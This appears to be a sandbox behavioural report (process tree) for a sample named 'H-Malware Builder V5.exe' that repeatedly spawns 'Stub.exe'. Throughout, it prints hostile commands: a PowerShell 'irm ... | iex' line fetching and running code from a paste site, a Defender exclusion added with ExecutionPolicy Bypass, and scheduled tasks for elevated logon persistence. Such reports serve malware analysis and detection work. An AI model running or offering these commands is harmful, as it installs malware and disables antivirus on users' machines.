- Command and Scripting Interpreter: PowerShell
PID:1960
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"16⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1592 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"17⤵PID:1536
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"18⤵PID:1096
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST17⤵
- Scheduled Task/Job: Scheduled Task
PID:2128
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST17⤵
- Scheduled Task/Job: Scheduled Task
PID:1828
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"16⤵
- Drops startup file
PID:1364 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'17⤵
- Command and Scripting Interpreter: PowerShell
PID:108
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"17⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2536 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"18⤵PID:2272
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"19⤵PID:1356
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST18⤵
- Scheduled Task/Job: Scheduled Task
PID:552
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST18⤵
- Scheduled Task/Job: Scheduled Task
PID:1688
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"17⤵
- Drops startup file
PID:1608 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'18⤵
- Command and Scripting Interpreter: PowerShell
PID:2128
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"18⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1724 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"19⤵PID:1132
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"20⤵PID:2184
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST19⤵PID:2204
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST19⤵
- Scheduled Task/Job: Scheduled Task
PID:1004
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"18⤵
- Drops startup file
PID:2772 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'19⤵
- Command and Scripting Interpreter: PowerShell
PID:1688
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"19⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1792 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"20⤵PID:1408
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"21⤵PID:968
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST20⤵
- Scheduled Task/Job: Scheduled Task
PID:2052
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST20⤵PID:1744
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"19⤵
- Drops startup file
PID:2688 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'20⤵
- Command and Scripting Interpreter: PowerShell
PID:1892
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"20⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2616 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"21⤵PID:1868
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"22⤵PID:2160
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST21⤵
- Scheduled Task/Job: Scheduled Task
PID:408
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST21⤵PID:1996
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"20⤵
- Drops startup file
PID:916 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'21⤵
- Command and Scripting Interpreter: PowerShell
PID:2340
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"21⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2608 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"22⤵PID:1776
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"23⤵PID:2396
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST22⤵
- Scheduled Task/Job: Scheduled Task
PID:2376
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST22⤵
- Scheduled Task/Job: Scheduled Task
PID:2676
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"21⤵
- Drops startup file
PID:2524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'22⤵
- Command and Scripting Interpreter: PowerShell
PID:1760
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"22⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2788 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"23⤵PID:1580
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"24⤵PID:2316
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST23⤵PID:980
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST23⤵
- Scheduled Task/Job: Scheduled Task
PID:1520
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"22⤵
- Drops startup file
PID:2504 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'23⤵
- Command and Scripting Interpreter: PowerShell
PID:1408
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"23⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2772 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"24⤵PID:3056
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"25⤵PID:1184
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST24⤵PID:2004
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST24⤵
- Scheduled Task/Job: Scheduled Task
PID:2812
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"23⤵
- Drops startup file
PID:2264 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'24⤵
- Command and Scripting Interpreter: PowerShell
PID:2676
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"24⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1012 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"25⤵PID:2092
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"26⤵PID:1684
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST25⤵PID:2948
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST25⤵PID:2976
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"24⤵
- Drops startup file
PID:1688 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'25⤵
- Command and Scripting Interpreter: PowerShell
PID:1580
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"25⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2816 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"26⤵PID:3048
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"27⤵PID:2416
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST26⤵PID:1156
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST26⤵
- Scheduled Task/Job: Scheduled Task
PID:484
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"25⤵
- Drops startup file
PID:1944 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'26⤵
- Command and Scripting Interpreter: PowerShell
PID:1940
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"26⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1104 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"27⤵PID:2220
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"28⤵PID:2204
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST27⤵
- Scheduled Task/Job: Scheduled Task
PID:1048
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST27⤵
- Scheduled Task/Job: Scheduled Task
PID:2056
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"26⤵
- Drops startup file
PID:864 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'27⤵
- Command and Scripting Interpreter: PowerShell
PID:2304
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"27⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2176 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"28⤵PID:3036
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"29⤵PID:2572
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST28⤵
- Scheduled Task/Job: Scheduled Task
PID:1440
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST28⤵
- Scheduled Task/Job: Scheduled Task
PID:2092
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"27⤵
- Drops startup file
PID:1364 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'28⤵
- Command and Scripting Interpreter: PowerShell
PID:2220
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"28⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3048 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"29⤵PID:2820
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"30⤵PID:2076
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST29⤵
- Scheduled Task/Job: Scheduled Task
PID:1648
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST29⤵PID:1404
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"28⤵
- Drops startup file
PID:2372 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'29⤵
- Command and Scripting Interpreter: PowerShell
PID:2976
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"29⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1812 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"30⤵PID:896
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"31⤵PID:2468
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST30⤵PID:1656
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST30⤵
- Scheduled Task/Job: Scheduled Task
PID:1224
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"29⤵PID:1504
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'30⤵
- Command and Scripting Interpreter: PowerShell
PID:2144
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"30⤵PID:2860
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"31⤵PID:952
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"32⤵PID:2768
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST31⤵PID:1788
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST31⤵PID:2116
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"30⤵PID:2488
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'31⤵
- Command and Scripting Interpreter: PowerShell
PID:2104
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"31⤵PID:2664
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"32⤵PID:1648
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"33⤵PID:2080
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST32⤵
- Scheduled Task/Job: Scheduled Task
PID:3036
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST32⤵
- Scheduled Task/Job: Scheduled Task
PID:372
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"31⤵PID:916
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'32⤵
- Command and Scripting Interpreter: PowerShell
PID:2632
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"32⤵PID:2808
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"33⤵PID:1344
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"34⤵PID:1672
-
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST33⤵
- Scheduled Task/Job: Scheduled Task
PID:2328
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77Stub.exe" /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'" /sc onlogon /rl HIGHEST33⤵
- Scheduled Task/Job: Scheduled Task
PID:560
-
-
-
C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"C:\Users\Admin\AppData\Local\Temp\H-Malware Builder V5.exe"32⤵PID:2784
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe'33⤵
- Command and Scripting Interpreter: PowerShell
PID:1404
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Stub.exe"33⤵PID:2412
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c powershell "irm pastie.io/raw/fgaazw | iex"34⤵PID:1916
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "irm pastie.io/raw/fgaazw | iex"35⤵PID:1776
-
-
-
